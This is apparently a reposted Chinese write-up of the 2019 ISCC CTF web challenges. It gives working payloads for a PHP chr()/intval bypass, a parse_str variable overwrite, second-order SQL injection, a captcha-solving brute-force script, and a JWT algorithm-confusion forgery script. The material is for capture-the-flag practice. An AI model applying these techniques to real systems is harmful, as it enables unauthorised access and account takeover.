2019 ISCC Web wp

栏目: Python · 发布时间: 6年前

内容简介:2019 ISCC Web wp,没什么太大意义…原题比较多…没学到啥…提示后来看其他师傅,可以把 cookie 删掉来达到爆破密码

2019 ISCC Web wp,没什么太大意义…原题比较多…没学到啥…

Web

Web1

 <?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);
http://39.100.83.188:8001/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2332e1

Web2

提示 破解3位数字密码 ,可以写脚本来跑,由于他的验证码是每次 GET 一次就刷一次,验证码处理这块会比较麻烦,学习了一波验证码的处理识别与 selenuim 爬虫的知识,写了个半成品,但是貌似这个处理 response 不太好处理,最后盲猜 996 拿到 flag

import pytesseract
import requests
import time
from PIL import Image
from selenium import webdriver
'''
调用接口请求验证码,保存到本地,识别验证,检查识别的验证码对不对。
'''
driver = webdriver.Chrome()
driver.get("http://39.100.83.188:8002/")
driver.add_cookie({
'domain': '39.100.83.188:8002',
'name': 'PHPSESSID',
'value': 'alsrko26h2mlbmkgv54r4gpcf3',
'path': '/',
'expires': None
})
driver.get("http://39.100.83.188:8002/")
# 比较好理解、截图并保存到这个路径
driver.get_screenshot_as_file('./screenshoot.png')
# driver.close()
# 打开刚刚保存的图片
im = Image.open('./screenshoot.png')
# 设置要裁剪的区域(验证码所在的区域)
box = (0, 200, 130, 300)
# 截图,生成只有验证码的图片
region = im.crop(box)
# 保存到本地路径
region.save("./code.png")
# 读取验证码图片
image = Image.open("./code.png")
# 开始识别验证码
optCode = pytesseract.image_to_string(image)
# 打印出验证码
print("验证码:", optCode)
password = '999'
driver.find_element_by_name("pwd").send_keys(password)
driver.find_element_by_name("user_code").send_keys(optCode)
driver.find_element_by_name("Login").click()
print(driver)

后来看其他师傅,可以把 cookie 删掉来达到爆破密码

Web3

感觉是把 sql-lab 二次注入的题目给拿了上来,就是利用注册 admin'# 来更改管理员账号密码的那个题

但是貌似过滤了一些字符,但是管他么多,师傅们都是懒的,直接用 admin/123456 上去拿到 flag

看了其他师傅的wp,可以通过 admin'--xx 来二次注入,奇怪的是当时我并没有成功…可能并发确实太多了…

Web4

代码审计题

 <?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
        if($hashed_input!==$hashed_key){
            die("<img src='cxk.jpg'>");
        }

        echo $flag;
    }
}else{
    show_source(__FILE__);
}?>

又是一个原题,利用 pase_str 函数的特性:

parse_str ( string $encoded_string [, array &\$result ] ) : void

如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

传入 hashed_key 覆盖掉 hased_key 即可

Payload:

action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

Web5

http://39.100.83.188:8054/

脑洞题…脑洞对不上…

参考 2019iscc wp ,考点是注入,过滤了圆括号,注释符,from等等

payload :order by 排序盲注

Web6

http://39.100.83.188:8053/

测试发现一些特殊符号被转义

!@#$%^&*()_+-={}|[]\\:\";'<>?,./

然后发现并没有什么用…

然后发现有 jwt ,但是看了一下并没什么,参考了 JSON Web Token (JWT) 攻击技巧 ,试了几种方式,改加密算法为 none 没用,又没有公钥…

然后终于在 http://39.100.83.188:8053/static/js/common.js 中发现了

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

这个没有用到的函数,还以为公钥是用 md5(username+password) ,结果发现这是个 url …

访问 http://39.100.83.188:8053/pubkey/9af8bd54cb8f00ac47d6050c99a5494b 得到

{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

拿上面那篇先知文章的 exp 出来改一下

import jwt

public = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----'''
print public
print jwt.encode({"name":"zeddy","priv":"admin"}, key=public, algorithm='HS256')

这里注意,如果要用这个 exp 必须得用 pyjwt==0.4.3 ,而且 python 还有个库也叫 jwt …这里需要用 python2 把两个 jwt/PyJWT 都卸了,然后装上面那个就行了。

用这个 jwt 访问 /list 就可以得到 admin 的 pastebin 了,访问即是 flag


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

小程序大能量

小程序大能量

肖月 / 人民邮电出版社 / 2018-11 / 49.80元

本书主要针对零基础的读者,详细讲解小程序的搭建以及小程序的运营等知识。全书共有6章。第 1章重点介绍了小程序诞生的原因以及小程序的发展历史;第 2章详细讲解了快速搭建小程序的方法;第3章向读者阐述了小程序和互联网运营的关系;第4章主要介绍了小程序运营的意义;第5章全面分析了打造爆款小程序的策略;第6章重点总结了小程序的营销推广策略。 本书可以作为对小程序感兴趣的个人以及企业的学习用书,帮助读者快速......一起来看看 《小程序大能量》 这本书的介绍吧!

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具